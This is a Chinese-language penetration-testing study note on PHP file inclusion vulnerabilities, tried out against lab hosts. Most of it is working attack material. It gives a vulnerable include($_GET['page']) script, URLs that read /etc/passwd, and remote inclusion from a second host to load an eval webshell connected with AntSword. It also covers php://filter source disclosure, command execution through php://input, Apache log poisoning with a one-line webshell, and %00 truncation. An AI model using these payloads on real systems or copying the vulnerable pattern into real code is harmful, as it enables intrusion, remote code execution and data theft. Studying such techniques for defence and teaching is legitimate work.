文件包含漏洞
大多是Web语言都可以只用文件包含操作,其中PHP语言所提供的文件包含功能比较强大、灵活,所以包含漏洞经常出现在PHP语言中。但并不是只用PHP语言会出现包含漏洞
PHP包含
四个函数:
include()、include_once()、require()、require()_once
-
require:找不到被包含文件时会产生致命错误,并停止脚本
-
include:找不到被包含文件时会产生警告,并继续执行脚本
-
require_ocne:与require相似,区别是如果文件中的代码已经被包含了,则不会再次包含
-
include_once:与include相似,区别是如果文件中的代码已经被包含了,则不会再次包含
本地包含:
测试一
ArrayUtil.php:
<?php
function PrintArr($arr,$sp="-->",$lin="<br/>"){
foreach($arr as $key => $value){
echo "$key $sp $value $lin";
}
}
?>
test.php:
<?php
include("ArrayUtil.php"); #包含文件ArrayUtil.php
$arr = array("张三","李四","王五");
PrintArr($arr,"==>");
?>
访问:http://127.0.0.1/test.php
测试二
phpinfo.txt:
<?php
phpinfo();
?>
test.php:
<?php
include("phpinfo.txt");
?>
远程包含:
需要开启php.ini中的allow_url_include选项
测试
hello.php:
<?php
echo "Hello world!!"
?>
test.php:
<?php
include($_GET['page']);
?>
http://127.0.0.1/test.php?page=http://127.0.0.1/hello.php
其中,hello.php的后缀名换成txt等其他格式的后缀也可以成功实现远程包含
如果攻击者输入一个不存在的文件,php则会报错,在报错信息中会泄露网站的根目录
几种常见的攻击方式
-
读取敏感文件
http://xxx.com/test.php?page=/etc/passwd
-
远程包含shell
test.php:
<?php include($_GET['page']); ?>
ehco.txt:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST["hummer"]);?>")?>
http://10.10.10.137/test.php?page=http://10.10.10.139/echo.txt
测试未成功,在写入shell.php时,只能写入<? php eval() ?>
但可以在远程主机上写一句话,通过远程包含,菜刀或者蚁剑也可以连接
http://10.10.10.139/echo.txt:
<?php eval($_POST['hummer']); ?>
蚁剑连接:http://10.10.10.137/test.php?page=http://10.10.10.139/echo.txt
测试成功!
-
配合文件上传
上传图片,txt等格式的文件,通过文件包含,也可当做php代码执行。
-
使用PHP封装协议
-
读取php文件
使用条件:参数page被包含
http://10.10.10.137/test.php?page=php://filter/read=convert.base64-encode/resource=test.php
base64解码:
PHP://filter具体用法参考如下连接:
-
写文件:
http://10.10.10.137/test.php?page=php://input
利用POST方式传入内容:
在这里可以执行任意系统命令:system(‘net user’);等
亦可以写入文件
<?fputs(fopen("shell.php","w"),"<?php phpinfo(); ?>")?>
-
包含Apache日志文件
Apache运行后一般默认会生成两个日志文件(access.log和error.log),其中记录了客户端的每次请求以及 服务器响应的相关信息
在找不到文件进行包含时,我们可以自己构造Apache日志,向里面写入我们的一句话木马:
先发起请求:
http://10.10.10.137/test.php?page=<?php eval($_POST['hummer']); ?>
查看日志:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aUoTNGFS-1647996321498)(E:\学习笔记\渗透测试\学习笔记\渗透测试.assets\a2fSd89XFbHtvUK.png)]
发现被浏览器自动转码了
为了防止被编码,可以用BurpSute绕过编码:
再次查看Apache日志:
已经成功绕过编码
-
截断包含
很多情况下,程序员会通过固定扩展名的方式来修复PHP包含漏洞。
代码段如下:
<?php if(isset($_GET['page'])){ include $_GET['page']."php"; } else{ include 'home.php'; } ?>
虽然这样可以抵挡一部分攻击,但并没有真正修复了包含漏洞,攻击者仍然可以采取截断的方法来突破这段代码。
http://www.xsser/com/test.php?page=1.jpg%00
这用方法只适用于magic_quotes_gpc为Off的情况下,当php开启magic_quotes_gpc是,NULL(%00)会被转义
-